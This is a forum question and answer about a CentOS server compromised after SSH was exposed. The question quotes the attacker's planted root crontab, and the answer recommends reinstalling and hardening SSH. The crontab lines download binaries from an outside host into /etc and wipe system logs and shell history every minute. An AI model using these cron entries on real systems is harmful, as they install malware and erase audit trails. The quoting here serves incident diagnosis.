Question

I believe someone/virus hacked in my CentOS which I recently opened SSH for one day. The box is in LAN. I just need to use it for a while when I am outside.

That night, the linux becomes slow to access via SSH in the LAN and slow to open any local webpages. It is acting very strange. I check the CPU which is sometimes very high. So I check the crontab. It has been changed.

There are bunch of stuff like this:

20 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * cd /var/log > dmesg
*/1 * * * * cd /var/log > auth.log
*/1 * * * * cd /var/log > alternatives.log
*/1 * * * * cd /var/log > boot.log
*/1 * * * * cd /var/log > btmp
*/1 * * * * cd /var/log > cron
*/1 * * * * cd /var/log > cups
*/1 * * * * cd /var/log > daemon.log
*/1 * * * * cd /var/log > dpkg.log
*/1 * * * * cd /var/log > faillog
*/1 * * * * cd /var/log > kern.log
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog
*/1 * * * * cd /var/log > user.log
*/1 * * * * cd /var/log > Xorg.x.log
*/1 * * * * cd /var/log > anaconda.log
*/1 * * * * cd /var/log > yum.log
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history

I can see that my /etc/ folder now has many folders in red like this

srwsrwt  1 root root  1524643 Jan 31 21:06 atdd
-rwsrwsrwt  1 root root  1524643 Jan 31 21:06 atddd
srwsrwt  1 root root  1258750 Nov 24 14:22 cupsdd
-rwsrwsrwt  1 root root  1258750 Nov 24 14:22 cupsddd
srwsrwt  1 root root  1524643 Jan 31 21:06 ksapd
-rwsrwsrwt  1 root root  1524643 Jan 31 21:06 ksapdd
-rwsrwsrwt  1 root root  1524643 Jan 31 21:06 kysapdd
srwsrwt  1 root root  1524643 Jan 10 20:06 sksapd
-rwsrwsrwt  1 root root  1524643 Jan 31 21:07 sksapdd
-rwsrwsrwt  1 root root  1524643 Oct 24 04:55 skysapd
-rwsrwsrwt  1 root root  1524643 Jan 31 21:07 skysapdd
srwsrwt  1 root root  1524643 Feb  5 17:26 xfsdx
-rwsrwsrwt  1 root root  1524643 Feb  5 17:26 xfsdxd

What happened? What can I do?

Was it helpful?

Solution

Once something like this happens, only a complete re-install of the machine is going to fix the problem .. especially if that is the crontab file for the root user.

If you really want to see HOW the person got in, IF they have not implanted a root kit, then you could review logs like /var/log/secure and look for sshd entries.

But if your root user has been compromised, the only thing that makes sense is a complete re-install.

In the future, you can minimize ssh access issues by doing some smart things like:

  1. Do not allow password logins via ssh ... only allow key based logins. This would mean that only people that have the correct private keys in their profile can log in.

  2. Do not allow direct root logins (even with keys) and require all root access to be done via sudo. Then you can tell which users have used root access via the secure logs.

  3. If at all possible, limit the open sshd port to a range of source IP addressees via iptables instead of open to all.

  4. set SSHD to listen on another port rather than 22 from the outside (you can listen on port 22 AND the other port very easily). This step will not deter people who are actively scanning for ssh ports, but will prevent autoscans that only look at port 22.

  5. You might also consider setting up a VPN that requires shared certificates to connect to your entire LAN. OpenVPN is one way to do this. Many routers can do this as well. Then you can get access to your LAN via the VPN and not expose each server directly to the Internet individually.

Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow
scroll top